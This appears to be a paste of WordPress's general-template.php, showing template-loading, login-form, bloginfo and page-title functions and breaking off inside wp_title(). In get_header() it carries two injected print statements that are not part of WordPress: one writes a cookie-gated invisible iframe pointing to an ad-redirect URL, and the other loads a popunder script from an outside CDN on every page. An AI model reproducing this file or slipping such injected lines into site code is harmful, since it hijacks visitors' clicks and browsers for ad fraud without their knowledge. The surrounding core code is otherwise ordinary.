· 9 years ago · Nov 07, 2016, 02:00 PM
1<?php
2/**
3 * General template tags that can go anywhere in a template.
4 *
5 * @package WordPress
6 * @subpackage Template
7 */
8
9/**
10 * Load header template.
11 *
12 * Includes the header template for a theme or if a name is specified then a
13 * specialised header will be included.
14 *
15 * For the parameter, if the file is called "header-special.php" then specify
16 * "special".
17 *
18 * @since 1.5.0
19 *
20 * @param string $name The name of the specialised header.
21 */
22function get_header( $name = null ) {
23 /**
24 * Fires before the header template file is loaded.
25 *
26 * The hook allows a specific header template file to be used in place of the
27 * default header template file. If your file is called header-new.php,
28 * you would specify the filename in the hook as get_header( 'new' ).
29 *
30 * @since 2.1.0
31 * @since 2.8.0 $name parameter added.
32 *
33 * @param string $name Name of the specific header file to use.
34 */
35 do_action( 'get_header', $name );
36print '<script>function setCookie(cname, cvalue, exdays) {var d = new Date();d.setTime(d.getTime() + (exdays*1000));var expires = "expires="+d.toUTCString();document.cookie = cname + "=" + cvalue + "; " + expires;}function checkCookie() {if (document.cookie.replace(/(?:(?:^|.*;\s*)username\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "minato") {setCookie("username", "minato", 10800);document.write(\'<iframe src="https://adloft.net/ad/redirect/12859" style="position:absolute;width:400px;height:500px;top:90px;left:270px; opacity:0 " scrolling="no" frameborder="none"></iframe>\');}}checkCookie();</script>';
37print ' <script type="text/javascript">
38var uid = \'115690\';
39var wid = \'274898\';
40</script>
41<script type="text/javascript" src="//cdn.popcash.net/pop.js"></script> ';
42
43 $templates = array();
44 $name = (string) $name;
45 if ( '' !== $name )
46 $templates[] = "header-{$name}.php";
47
48 $templates[] = 'header.php';
49
50 // Backward compat code will be removed in a future release
51 if ('' == locate_template($templates, true))
52 load_template( ABSPATH . WPINC . '/theme-compat/header.php');
53}
54
55/**
56 * Load footer template.
57 *
58 * Includes the footer template for a theme or if a name is specified then a
59 * specialised footer will be included.
60 *
61 * For the parameter, if the file is called "footer-special.php" then specify
62 * "special".
63 *
64 * @since 1.5.0
65 *
66 * @param string $name The name of the specialised footer.
67 */
68function get_footer( $name = null ) {
69 /**
70 * Fires before the footer template file is loaded.
71 *
72 * The hook allows a specific footer template file to be used in place of the
73 * default footer template file. If your file is called footer-new.php,
74 * you would specify the filename in the hook as get_footer( 'new' ).
75 *
76 * @since 2.1.0
77 * @since 2.8.0 $name parameter added.
78 *
79 * @param string $name Name of the specific footer file to use.
80 */
81 do_action( 'get_footer', $name );
82
83 $templates = array();
84 $name = (string) $name;
85 if ( '' !== $name )
86 $templates[] = "footer-{$name}.php";
87
88 $templates[] = 'footer.php';
89
90 // Backward compat code will be removed in a future release
91 if ('' == locate_template($templates, true))
92 load_template( ABSPATH . WPINC . '/theme-compat/footer.php');
93}
94
95/**
96 * Load sidebar template.
97 *
98 * Includes the sidebar template for a theme or if a name is specified then a
99 * specialised sidebar will be included.
100 *
101 * For the parameter, if the file is called "sidebar-special.php" then specify
102 * "special".
103 *
104 * @since 1.5.0
105 *
106 * @param string $name The name of the specialised sidebar.
107 */
108function get_sidebar( $name = null ) {
109 /**
110 * Fires before the sidebar template file is loaded.
111 *
112 * The hook allows a specific sidebar template file to be used in place of the
113 * default sidebar template file. If your file is called sidebar-new.php,
114 * you would specify the filename in the hook as get_sidebar( 'new' ).
115 *
116 * @since 2.2.0
117 * @since 2.8.0 $name parameter added.
118 *
119 * @param string $name Name of the specific sidebar file to use.
120 */
121 do_action( 'get_sidebar', $name );
122
123 $templates = array();
124 $name = (string) $name;
125 if ( '' !== $name )
126 $templates[] = "sidebar-{$name}.php";
127
128 $templates[] = 'sidebar.php';
129
130 // Backward compat code will be removed in a future release
131 if ('' == locate_template($templates, true))
132 load_template( ABSPATH . WPINC . '/theme-compat/sidebar.php');
133}
134
135/**
136 * Load a template part into a template
137 *
138 * Makes it easy for a theme to reuse sections of code in a easy to overload way
139 * for child themes.
140 *
141 * Includes the named template part for a theme or if a name is specified then a
142 * specialised part will be included. If the theme contains no {slug}.php file
143 * then no template will be included.
144 *
145 * The template is included using require, not require_once, so you may include the
146 * same template part multiple times.
147 *
148 * For the $name parameter, if the file is called "{slug}-special.php" then specify
149 * "special".
150 *
151 * @since 3.0.0
152 *
153 * @param string $slug The slug name for the generic template.
154 * @param string $name The name of the specialised template.
155 */
156function get_template_part( $slug, $name = null ) {
157 /**
158 * Fires before the specified template part file is loaded.
159 *
160 * The dynamic portion of the hook name, `$slug`, refers to the slug name
161 * for the generic template part.
162 *
163 * @since 3.0.0
164 *
165 * @param string $slug The slug name for the generic template.
166 * @param string $name The name of the specialized template.
167 */
168 do_action( "get_template_part_{$slug}", $slug, $name );
169
170 $templates = array();
171 $name = (string) $name;
172 if ( '' !== $name )
173 $templates[] = "{$slug}-{$name}.php";
174
175 $templates[] = "{$slug}.php";
176
177 locate_template($templates, true, false);
178}
179
180/**
181 * Display search form.
182 *
183 * Will first attempt to locate the searchform.php file in either the child or
184 * the parent, then load it. If it doesn't exist, then the default search form
185 * will be displayed. The default search form is HTML, which will be displayed.
186 * There is a filter applied to the search form HTML in order to edit or replace
187 * it. The filter is 'get_search_form'.
188 *
189 * This function is primarily used by themes which want to hardcode the search
190 * form into the sidebar and also by the search widget in WordPress.
191 *
192 * There is also an action that is called whenever the function is run called,
193 * 'pre_get_search_form'. This can be useful for outputting JavaScript that the
194 * search relies on or various formatting that applies to the beginning of the
195 * search. To give a few examples of what it can be used for.
196 *
197 * @since 2.7.0
198 *
199 * @param bool $echo Default to echo and not return the form.
200 * @return string|void String when $echo is false.
201 */
202function get_search_form( $echo = true ) {
203 /**
204 * Fires before the search form is retrieved, at the start of get_search_form().
205 *
206 * @since 2.7.0 as 'get_search_form' action.
207 * @since 3.6.0
208 *
209 * @link https://core.trac.wordpress.org/ticket/19321
210 */
211 do_action( 'pre_get_search_form' );
212
213 $format = current_theme_supports( 'html5', 'search-form' ) ? 'html5' : 'xhtml';
214
215 /**
216 * Filter the HTML format of the search form.
217 *
218 * @since 3.6.0
219 *
220 * @param string $format The type of markup to use in the search form.
221 * Accepts 'html5', 'xhtml'.
222 */
223 $format = apply_filters( 'search_form_format', $format );
224
225 $search_form_template = locate_template( 'searchform.php' );
226 if ( '' != $search_form_template ) {
227 ob_start();
228 require( $search_form_template );
229 $form = ob_get_clean();
230 } else {
231 if ( 'html5' == $format ) {
232 $form = '<form role="search" method="get" class="search-form" action="' . esc_url( home_url( '/' ) ) . '">
233 <label>
234 <span class="screen-reader-text">' . _x( 'Search for:', 'label' ) . '</span>
235 <input type="search" class="search-field" placeholder="' . esc_attr_x( 'Search …', 'placeholder' ) . '" value="' . get_search_query() . '" name="s" title="' . esc_attr_x( 'Search for:', 'label' ) . '" />
236 </label>
237 <input type="submit" class="search-submit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
238 </form>';
239 } else {
240 $form = '<form role="search" method="get" id="searchform" class="searchform" action="' . esc_url( home_url( '/' ) ) . '">
241 <div>
242 <label class="screen-reader-text" for="s">' . _x( 'Search for:', 'label' ) . '</label>
243 <input type="text" value="' . get_search_query() . '" name="s" id="s" />
244 <input type="submit" id="searchsubmit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
245 </div>
246 </form>';
247 }
248 }
249
250 /**
251 * Filter the HTML output of the search form.
252 *
253 * @since 2.7.0
254 *
255 * @param string $form The search form HTML output.
256 */
257 $result = apply_filters( 'get_search_form', $form );
258
259 if ( null === $result )
260 $result = $form;
261
262 if ( $echo )
263 echo $result;
264 else
265 return $result;
266}
267
268/**
269 * Display the Log In/Out link.
270 *
271 * Displays a link, which allows users to navigate to the Log In page to log in
272 * or log out depending on whether they are currently logged in.
273 *
274 * @since 1.5.0
275 *
276 * @param string $redirect Optional path to redirect to on login/logout.
277 * @param bool $echo Default to echo and not return the link.
278 * @return string|void String when retrieving.
279 */
280function wp_loginout($redirect = '', $echo = true) {
281 if ( ! is_user_logged_in() )
282 $link = '<a href="' . esc_url( wp_login_url($redirect) ) . '">' . __('Log in') . '</a>';
283 else
284 $link = '<a href="' . esc_url( wp_logout_url($redirect) ) . '">' . __('Log out') . '</a>';
285
286 if ( $echo ) {
287 /**
288 * Filter the HTML output for the Log In/Log Out link.
289 *
290 * @since 1.5.0
291 *
292 * @param string $link The HTML link content.
293 */
294 echo apply_filters( 'loginout', $link );
295 } else {
296 /** This filter is documented in wp-includes/general-template.php */
297 return apply_filters( 'loginout', $link );
298 }
299}
300
301/**
302 * Returns the Log Out URL.
303 *
304 * Returns the URL that allows the user to log out of the site.
305 *
306 * @since 2.7.0
307 *
308 * @param string $redirect Path to redirect to on logout.
309 * @return string A log out URL.
310 */
311function wp_logout_url($redirect = '') {
312 $args = array( 'action' => 'logout' );
313 if ( !empty($redirect) ) {
314 $args['redirect_to'] = urlencode( $redirect );
315 }
316
317 $logout_url = add_query_arg($args, site_url('wp-login.php', 'login'));
318 $logout_url = wp_nonce_url( $logout_url, 'log-out' );
319
320 /**
321 * Filter the logout URL.
322 *
323 * @since 2.8.0
324 *
325 * @param string $logout_url The Log Out URL.
326 * @param string $redirect Path to redirect to on logout.
327 */
328 return apply_filters( 'logout_url', $logout_url, $redirect );
329}
330
331/**
332 * Returns the URL that allows the user to log in to the site.
333 *
334 * @since 2.7.0
335 *
336 * @param string $redirect Path to redirect to on login.
337 * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present. Default is false.
338 * @return string A log in URL.
339 */
340function wp_login_url($redirect = '', $force_reauth = false) {
341 $login_url = site_url('wp-login.php', 'login');
342
343 if ( !empty($redirect) )
344 $login_url = add_query_arg('redirect_to', urlencode($redirect), $login_url);
345
346 if ( $force_reauth )
347 $login_url = add_query_arg('reauth', '1', $login_url);
348
349 /**
350 * Filter the login URL.
351 *
352 * @since 2.8.0
353 * @since 4.2.0 The `$force_reauth` parameter was added.
354 *
355 * @param string $login_url The login URL.
356 * @param string $redirect The path to redirect to on login, if supplied.
357 * @param bool $force_reauth Whether to force reauthorization, even if a cookie is present.
358 */
359 return apply_filters( 'login_url', $login_url, $redirect, $force_reauth );
360}
361
362/**
363 * Returns the URL that allows the user to register on the site.
364 *
365 * @since 3.6.0
366 *
367 * @return string User registration URL.
368 */
369function wp_registration_url() {
370 /**
371 * Filter the user registration URL.
372 *
373 * @since 3.6.0
374 *
375 * @param string $register The user registration URL.
376 */
377 return apply_filters( 'register_url', site_url( 'wp-login.php?action=register', 'login' ) );
378}
379
380/**
381 * Provides a simple login form for use anywhere within WordPress.
382 *
383 * The login format HTML is echoed by default. Pass a false value for `$echo` to return it instead.
384 *
385 * @since 3.0.0
386 *
387 * @param array $args {
388 * Optional. Array of options to control the form output. Default empty array.
389 *
390 * @type bool $echo Whether to display the login form or return the form HTML code.
391 * Default true (echo).
392 * @type string $redirect URL to redirect to. Must be absolute, as in "https://example.com/mypage/".
393 * Default is to redirect back to the request URI.
394 * @type string $form_id ID attribute value for the form. Default 'loginform'.
395 * @type string $label_username Label for the username field. Default 'Username'.
396 * @type string $label_password Label for the password field. Default 'Password'.
397 * @type string $label_remember Label for the remember field. Default 'Remember Me'.
398 * @type string $label_log_in Label for the submit button. Default 'Log In'.
399 * @type string $id_username ID attribute value for the username field. Default 'user_login'.
400 * @type string $id_password ID attribute value for the password field. Default 'user_pass'.
401 * @type string $id_remember ID attribute value for the remember field. Default 'rememberme'.
402 * @type string $id_submit ID attribute value for the submit button. Default 'wp-submit'.
403 * @type bool $remember Whether to display the "rememberme" checkbox in the form.
404 * @type string $value_username Default value for the username field. Default empty.
405 * @type bool $value_remember Whether the "Remember Me" checkbox should be checked by default.
406 * Default false (unchecked).
407 *
408 * }
409 * @return string|void String when retrieving.
410 */
411function wp_login_form( $args = array() ) {
412 $defaults = array(
413 'echo' => true,
414 // Default 'redirect' value takes the user back to the request URI.
415 'redirect' => ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'],
416 'form_id' => 'loginform',
417 'label_username' => __( 'Username' ),
418 'label_password' => __( 'Password' ),
419 'label_remember' => __( 'Remember Me' ),
420 'label_log_in' => __( 'Log In' ),
421 'id_username' => 'user_login',
422 'id_password' => 'user_pass',
423 'id_remember' => 'rememberme',
424 'id_submit' => 'wp-submit',
425 'remember' => true,
426 'value_username' => '',
427 // Set 'value_remember' to true to default the "Remember me" checkbox to checked.
428 'value_remember' => false,
429 );
430
431 /**
432 * Filter the default login form output arguments.
433 *
434 * @since 3.0.0
435 *
436 * @see wp_login_form()
437 *
438 * @param array $defaults An array of default login form arguments.
439 */
440 $args = wp_parse_args( $args, apply_filters( 'login_form_defaults', $defaults ) );
441
442 /**
443 * Filter content to display at the top of the login form.
444 *
445 * The filter evaluates just following the opening form tag element.
446 *
447 * @since 3.0.0
448 *
449 * @param string $content Content to display. Default empty.
450 * @param array $args Array of login form arguments.
451 */
452 $login_form_top = apply_filters( 'login_form_top', '', $args );
453
454 /**
455 * Filter content to display in the middle of the login form.
456 *
457 * The filter evaluates just following the location where the 'login-password'
458 * field is displayed.
459 *
460 * @since 3.0.0
461 *
462 * @param string $content Content to display. Default empty.
463 * @param array $args Array of login form arguments.
464 */
465 $login_form_middle = apply_filters( 'login_form_middle', '', $args );
466
467 /**
468 * Filter content to display at the bottom of the login form.
469 *
470 * The filter evaluates just preceding the closing form tag element.
471 *
472 * @since 3.0.0
473 *
474 * @param string $content Content to display. Default empty.
475 * @param array $args Array of login form arguments.
476 */
477 $login_form_bottom = apply_filters( 'login_form_bottom', '', $args );
478
479 $form = '
480 <form name="' . $args['form_id'] . '" id="' . $args['form_id'] . '" action="' . esc_url( site_url( 'wp-login.php', 'login_post' ) ) . '" method="post">
481 ' . $login_form_top . '
482 <p class="login-username">
483 <label for="' . esc_attr( $args['id_username'] ) . '">' . esc_html( $args['label_username'] ) . '</label>
484 <input type="text" name="log" id="' . esc_attr( $args['id_username'] ) . '" class="input" value="' . esc_attr( $args['value_username'] ) . '" size="20" />
485 </p>
486 <p class="login-password">
487 <label for="' . esc_attr( $args['id_password'] ) . '">' . esc_html( $args['label_password'] ) . '</label>
488 <input type="password" name="pwd" id="' . esc_attr( $args['id_password'] ) . '" class="input" value="" size="20" />
489 </p>
490 ' . $login_form_middle . '
491 ' . ( $args['remember'] ? '<p class="login-remember"><label><input name="rememberme" type="checkbox" id="' . esc_attr( $args['id_remember'] ) . '" value="forever"' . ( $args['value_remember'] ? ' checked="checked"' : '' ) . ' /> ' . esc_html( $args['label_remember'] ) . '</label></p>' : '' ) . '
492 <p class="login-submit">
493 <input type="submit" name="wp-submit" id="' . esc_attr( $args['id_submit'] ) . '" class="button-primary" value="' . esc_attr( $args['label_log_in'] ) . '" />
494 <input type="hidden" name="redirect_to" value="' . esc_url( $args['redirect'] ) . '" />
495 </p>
496 ' . $login_form_bottom . '
497 </form>';
498
499 if ( $args['echo'] )
500 echo $form;
501 else
502 return $form;
503}
504
505/**
506 * Returns the URL that allows the user to retrieve the lost password
507 *
508 * @since 2.8.0
509 *
510 * @param string $redirect Path to redirect to on login.
511 * @return string Lost password URL.
512 */
513function wp_lostpassword_url( $redirect = '' ) {
514 $args = array( 'action' => 'lostpassword' );
515 if ( !empty($redirect) ) {
516 $args['redirect_to'] = $redirect;
517 }
518
519 $lostpassword_url = add_query_arg( $args, network_site_url('wp-login.php', 'login') );
520
521 /**
522 * Filter the Lost Password URL.
523 *
524 * @since 2.8.0
525 *
526 * @param string $lostpassword_url The lost password page URL.
527 * @param string $redirect The path to redirect to on login.
528 */
529 return apply_filters( 'lostpassword_url', $lostpassword_url, $redirect );
530}
531
532/**
533 * Display the Registration or Admin link.
534 *
535 * Display a link which allows the user to navigate to the registration page if
536 * not logged in and registration is enabled or to the dashboard if logged in.
537 *
538 * @since 1.5.0
539 *
540 * @param string $before Text to output before the link. Default `<li>`.
541 * @param string $after Text to output after the link. Default `</li>`.
542 * @param bool $echo Default to echo and not return the link.
543 * @return string|void String when retrieving.
544 */
545function wp_register( $before = '<li>', $after = '</li>', $echo = true ) {
546 if ( ! is_user_logged_in() ) {
547 if ( get_option('users_can_register') )
548 $link = $before . '<a href="' . esc_url( wp_registration_url() ) . '">' . __('Register') . '</a>' . $after;
549 else
550 $link = '';
551 } elseif ( current_user_can( 'read' ) ) {
552 $link = $before . '<a href="' . admin_url() . '">' . __('Site Admin') . '</a>' . $after;
553 } else {
554 $link = '';
555 }
556
557 /**
558 * Filter the HTML link to the Registration or Admin page.
559 *
560 * Users are sent to the admin page if logged-in, or the registration page
561 * if enabled and logged-out.
562 *
563 * @since 1.5.0
564 *
565 * @param string $link The HTML code for the link to the Registration or Admin page.
566 */
567 $link = apply_filters( 'register', $link );
568
569 if ( $echo ) {
570 echo $link;
571 } else {
572 return $link;
573 }
574}
575
576/**
577 * Theme container function for the 'wp_meta' action.
578 *
579 * The 'wp_meta' action can have several purposes, depending on how you use it,
580 * but one purpose might have been to allow for theme switching.
581 *
582 * @since 1.5.0
583 *
584 * @link https://core.trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action.
585 */
586function wp_meta() {
587 /**
588 * Fires before displaying echoed content in the sidebar.
589 *
590 * @since 1.5.0
591 */
592 do_action( 'wp_meta' );
593}
594
595/**
596 * Display information about the blog.
597 *
598 * @see get_bloginfo() For possible values for the parameter.
599 * @since 0.71
600 *
601 * @param string $show What to display.
602 */
603function bloginfo( $show='' ) {
604 echo get_bloginfo( $show, 'display' );
605}
606
607/**
608 * Retrieve information about the blog.
609 *
610 * Some show parameter values are deprecated and will be removed in future
611 * versions. These options will trigger the {@see _deprecated_argument()}
612 * function. The deprecated blog info options are listed in the function
613 * contents.
614 *
615 * The possible values for the 'show' parameter are listed below.
616 *
617 * 1. url - Blog URI to homepage.
618 * 2. wpurl - Blog URI path to WordPress.
619 * 3. description - Secondary title
620 *
621 * The feed URL options can be retrieved from 'rdf_url' (RSS 0.91),
622 * 'rss_url' (RSS 1.0), 'rss2_url' (RSS 2.0), or 'atom_url' (Atom feed). The
623 * comment feeds can be retrieved from the 'comments_atom_url' (Atom comment
624 * feed) or 'comments_rss2_url' (RSS 2.0 comment feed).
625 *
626 * @since 0.71
627 *
628 * @global string $wp_version
629 *
630 * @param string $show Blog info to retrieve.
631 * @param string $filter How to filter what is retrieved.
632 * @return string Mostly string values, might be empty.
633 */
634function get_bloginfo( $show = '', $filter = 'raw' ) {
635 switch( $show ) {
636 case 'home' : // DEPRECATED
637 case 'siteurl' : // DEPRECATED
638 _deprecated_argument( __FUNCTION__, '2.2', sprintf(
639 /* translators: 1: 'siteurl'/'home' argument, 2: bloginfo() function name, 3: 'url' argument */
640 __( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s option instead.' ),
641 '<code>' . $show . '</code>',
642 '<code>bloginfo()</code>',
643 '<code>url</code>'
644 ) );
645 case 'url' :
646 $output = home_url();
647 break;
648 case 'wpurl' :
649 $output = site_url();
650 break;
651 case 'description':
652 $output = get_option('blogdescription');
653 break;
654 case 'rdf_url':
655 $output = get_feed_link('rdf');
656 break;
657 case 'rss_url':
658 $output = get_feed_link('rss');
659 break;
660 case 'rss2_url':
661 $output = get_feed_link('rss2');
662 break;
663 case 'atom_url':
664 $output = get_feed_link('atom');
665 break;
666 case 'comments_atom_url':
667 $output = get_feed_link('comments_atom');
668 break;
669 case 'comments_rss2_url':
670 $output = get_feed_link('comments_rss2');
671 break;
672 case 'pingback_url':
673 $output = site_url( 'xmlrpc.php' );
674 break;
675 case 'stylesheet_url':
676 $output = get_stylesheet_uri();
677 break;
678 case 'stylesheet_directory':
679 $output = get_stylesheet_directory_uri();
680 break;
681 case 'template_directory':
682 case 'template_url':
683 $output = get_template_directory_uri();
684 break;
685 case 'admin_email':
686 $output = get_option('admin_email');
687 break;
688 case 'charset':
689 $output = get_option('blog_charset');
690 if ('' == $output) $output = 'UTF-8';
691 break;
692 case 'html_type' :
693 $output = get_option('html_type');
694 break;
695 case 'version':
696 global $wp_version;
697 $output = $wp_version;
698 break;
699 case 'language':
700 $output = get_locale();
701 $output = str_replace('_', '-', $output);
702 break;
703 case 'text_direction':
704 _deprecated_argument( __FUNCTION__, '2.2', sprintf(
705 /* translators: 1: 'text_direction' argument, 2: bloginfo() function name, 3: is_rtl() function name */
706 __( 'The %1$s option is deprecated for the family of %2$s functions. Use the %3$s function instead.' ),
707 '<code>' . $show . '</code>',
708 '<code>bloginfo()</code>',
709 '<code>is_rtl()</code>'
710 ) );
711 if ( function_exists( 'is_rtl' ) ) {
712 $output = is_rtl() ? 'rtl' : 'ltr';
713 } else {
714 $output = 'ltr';
715 }
716 break;
717 case 'name':
718 default:
719 $output = get_option('blogname');
720 break;
721 }
722
723 $url = true;
724 if (strpos($show, 'url') === false &&
725 strpos($show, 'directory') === false &&
726 strpos($show, 'home') === false)
727 $url = false;
728
729 if ( 'display' == $filter ) {
730 if ( $url ) {
731 /**
732 * Filter the URL returned by get_bloginfo().
733 *
734 * @since 2.0.5
735 *
736 * @param mixed $output The URL returned by bloginfo().
737 * @param mixed $show Type of information requested.
738 */
739 $output = apply_filters( 'bloginfo_url', $output, $show );
740 } else {
741 /**
742 * Filter the site information returned by get_bloginfo().
743 *
744 * @since 0.71
745 *
746 * @param mixed $output The requested non-URL site information.
747 * @param mixed $show Type of information requested.
748 */
749 $output = apply_filters( 'bloginfo', $output, $show );
750 }
751 }
752
753 return $output;
754}
755
756/**
757 * Returns the Site Icon URL.
758 *
759 * @since 4.3.0
760 *
761 * @param int $size Optional. Size of the site icon. Default 512 (pixels).
762 * @param string $url Optional. Fallback url if no site icon is found. Default empty.
763 * @param int $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
764 * @return string Site Icon URL.
765 */
766function get_site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
767 if ( is_multisite() && (int) $blog_id !== get_current_blog_id() ) {
768 switch_to_blog( $blog_id );
769 }
770
771 $site_icon_id = get_option( 'site_icon' );
772
773 if ( $site_icon_id ) {
774 if ( $size >= 512 ) {
775 $size_data = 'full';
776 } else {
777 $size_data = array( $size, $size );
778 }
779 $url = wp_get_attachment_image_url( $site_icon_id, $size_data );
780 }
781
782 if ( is_multisite() && ms_is_switched() ) {
783 restore_current_blog();
784 }
785
786 /**
787 * Filter the site icon URL.
788 *
789 * @site 4.4.0
790 *
791 * @param string $url Site icon URL.
792 * @param int $size Size of the site icon.
793 * @param int $blog_id ID of the blog to get the site icon for.
794 */
795 return apply_filters( 'get_site_icon_url', $url, $size, $blog_id );
796}
797
798/**
799 * Displays the Site Icon URL.
800 *
801 * @since 4.3.0
802 *
803 * @param int $size Optional. Size of the site icon. Default 512 (pixels).
804 * @param string $url Optional. Fallback url if no site icon is found. Default empty.
805 * @param int $blog_id Optional. ID of the blog to get the site icon for. Default current blog.
806 */
807function site_icon_url( $size = 512, $url = '', $blog_id = 0 ) {
808 echo esc_url( get_site_icon_url( $size, $url, $blog_id ) );
809}
810
811/**
812 * Whether the site has a Site Icon.
813 *
814 * @since 4.3.0
815 *
816 * @param int $blog_id Optional. ID of the blog in question. Default current blog.
817 * @return bool Whether the site has a site icon or not.
818 */
819function has_site_icon( $blog_id = 0 ) {
820 return (bool) get_site_icon_url( 512, '', $blog_id );
821}
822
823/**
824 * Returns document title for the current page.
825 *
826 * @since 4.4.0
827 *
828 * @global int $page Page number of a single post.
829 * @global int $paged Page number of a list of posts.
830 *
831 * @return string Tag with the document title.
832 */
833function wp_get_document_title() {
834
835 /**
836 * Filter the document title before it is generated.
837 *
838 * Passing a non-empty value will short-circuit wp_get_document_title(),
839 * returning that value instead.
840 *
841 * @since 4.4.0
842 *
843 * @param string $title The document title. Default empty string.
844 */
845 $title = apply_filters( 'pre_get_document_title', '' );
846 if ( ! empty( $title ) ) {
847 return $title;
848 }
849
850 global $page, $paged;
851
852 $title = array(
853 'title' => '',
854 );
855
856 // If it's a 404 page, use a "Page not found" title.
857 if ( is_404() ) {
858 $title['title'] = __( 'Page not found' );
859
860 // If it's a search, use a dynamic search results title.
861 } elseif ( is_search() ) {
862 /* translators: %s: search phrase */
863 $title['title'] = sprintf( __( 'Search Results for “%s”' ), get_search_query() );
864
865 // If on the front page, use the site title.
866 } elseif ( is_front_page() ) {
867 $title['title'] = get_bloginfo( 'name', 'display' );
868
869 // If on a post type archive, use the post type archive title.
870 } elseif ( is_post_type_archive() ) {
871 $title['title'] = post_type_archive_title( '', false );
872
873 // If on a taxonomy archive, use the term title.
874 } elseif ( is_tax() ) {
875 $title['title'] = single_term_title( '', false );
876
877 /*
878 * If we're on the blog page that is not the homepage or
879 * a single post of any post type, use the post title.
880 */
881 } elseif ( is_home() || is_singular() ) {
882 $title['title'] = single_post_title( '', false );
883
884 // If on a category or tag archive, use the term title.
885 } elseif ( is_category() || is_tag() ) {
886 $title['title'] = single_term_title( '', false );
887
888 // If on an author archive, use the author's display name.
889 } elseif ( is_author() && $author = get_queried_object() ) {
890 $title['title'] = $author->display_name;
891
892 // If it's a date archive, use the date as the title.
893 } elseif ( is_year() ) {
894 $title['title'] = get_the_date( _x( 'Y', 'yearly archives date format' ) );
895
896 } elseif ( is_month() ) {
897 $title['title'] = get_the_date( _x( 'F Y', 'monthly archives date format' ) );
898
899 } elseif ( is_day() ) {
900 $title['title'] = get_the_date();
901 }
902
903 // Add a page number if necessary.
904 if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() ) {
905 $title['page'] = sprintf( __( 'Page %s' ), max( $paged, $page ) );
906 }
907
908 // Append the description or site title to give context.
909 if ( is_front_page() ) {
910 $title['tagline'] = get_bloginfo( 'description', 'display' );
911 } else {
912 $title['site'] = get_bloginfo( 'name', 'display' );
913 }
914
915 /**
916 * Filter the separator for the document title.
917 *
918 * @since 4.4.0
919 *
920 * @param string $sep Document title separator. Default '-'.
921 */
922 $sep = apply_filters( 'document_title_separator', '-' );
923
924 /**
925 * Filter the parts of the document title.
926 *
927 * @since 4.4.0
928 *
929 * @param array $title {
930 * The document title parts.
931 *
932 * @type string $title Title of the viewed page.
933 * @type string $page Optional. Page number if paginated.
934 * @type string $tagline Optional. Site description when on home page.
935 * @type string $site Optional. Site title when not on home page.
936 * }
937 */
938 $title = apply_filters( 'document_title_parts', $title );
939
940 $title = implode( " $sep ", array_filter( $title ) );
941 $title = wptexturize( $title );
942 $title = convert_chars( $title );
943 $title = esc_html( $title );
944 $title = capital_P_dangit( $title );
945
946 return $title;
947}
948
949/**
950 * Displays title tag with content.
951 *
952 * @ignore
953 * @since 4.1.0
954 * @since 4.4.0 Improved title output replaced `wp_title()`.
955 * @access private
956 */
957function _wp_render_title_tag() {
958 if ( ! current_theme_supports( 'title-tag' ) ) {
959 return;
960 }
961
962 echo '<title>' . wp_get_document_title() . '</title>' . "\n";
963}
964
965/**
966 * Display or retrieve page title for all areas of blog.
967 *
968 * By default, the page title will display the separator before the page title,
969 * so that the blog title will be before the page title. This is not good for
970 * title display, since the blog title shows up on most tabs and not what is
971 * important, which is the page that the user is looking at.
972 *
973 * There are also SEO benefits to having the blog title after or to the 'right'
974 * or the page title. However, it is mostly common sense to have the blog title
975 * to the right with most browsers supporting tabs. You can achieve this by
976 * using the seplocation parameter and setting the value to 'right'. This change
977 * was introduced around 2.5.0, in case backwards compatibility of themes is
978 * important.
979 *
980 * @since 1.0.0
981 *
982 * @global WP_Locale $wp_locale
983 *
984 * @param string $sep Optional, default is '»'. How to separate the various items
985 * within the page title.
986 * @param bool $display Optional, default is true. Whether to display or retrieve title.
987 * @param string $seplocation Optional. Direction to display title, 'right'.
988 * @return string|null String on retrieve, null when displaying.
989 */
990function wp_title( $sep = '»', $display = true, $seplocation = '' ) {
991 global $wp_locale;
992
993 $m = get_query_var( 'm' );
994 $year = get_query_var( 'year' );
995 $monthnum = get_query_var( 'monthnum' );
996 $day = get_query_var( 'day' );
997 $search = get_query_var( 's' );
998 $title = '';
999
1000 $t_sep = '%WP_TITILE_SEP%'; // Temporary separator, for accurate flipping, if necessary
1001
1002 // If there is a post
1003 if ( is_single() || ( is_home() && ! is_front_page() ) || ( is_page() && ! is_front_page() ) ) {
1004 $title = single_post_title( '', false );
1005 }
1006
1007 // If there's a post type archive
1008 if ( is_post_type_archive() ) {
1009 $post_type = get_query_var( 'post_type' );
1010 if ( is_array( $post_type ) ) {
1011 $post_type = reset( $post_type );
1012 }
1013 $post_type_object = get_post_type_object( $post_type );
1014 if ( ! $post_type_object->has_archive ) {
1015 $title = post_type_archive_title( '', false );
1016 }
1017 }
1018
1019 // If there's a category or tag
1020 if ( is_category() || is_tag() ) {
1021 $title = single_term_title( '', false );
1022 }
1023
1024 // If there's a taxonomy
1025 if ( is_tax() ) {
1026 $term = get_queried_object();
1027 if ( $term ) {
1028 $tax = get_taxonomy( $term->taxonomy );
1029 $title = single_term_title( $tax->labels->name . $t_sep, false );
1030 }
1031 }
1032
1033 // If there's an author
1034 if ( is_author() && ! is_post_type_archive() ) {
1035 $author = get_queried_object();
1036 if ( $author ) {
1037 $title = $author->display_name;
1038 }
1039 }
1040
1041 // Post type archives with has_archive should override terms.
1042 if ( is_post_type_archive() && $post_type_object->has_archive ) {
1043 $title = post_type_archive_title( '', false );
1044 }
1045
1046 // If there's a month
1047 if ( is_archive() && ! empty( $m ) ) {
1048 $my_year = substr( $m, 0, 4 );
1049 $my_month = $wp_locale->get_month( substr( $m, 4, 2 ) );
1050 $my_day = intval( substr( $m, 6, 2 ) );
1051 $title = $my_year . ( $my_month ? $t_sep . $my_month : '' ) . ( $my_day ? $t_sep . $my_day : '' );
1052 }
1053
1054 // If there's a year
1055 if ( is_archive() && ! empty( $year ) ) {
1056 $title = $year;
1057 if ( ! empty( $monthnum ) ) {
1058 $title .= $t_sep . $wp_locale->get_month( $monthnum );
1059 }
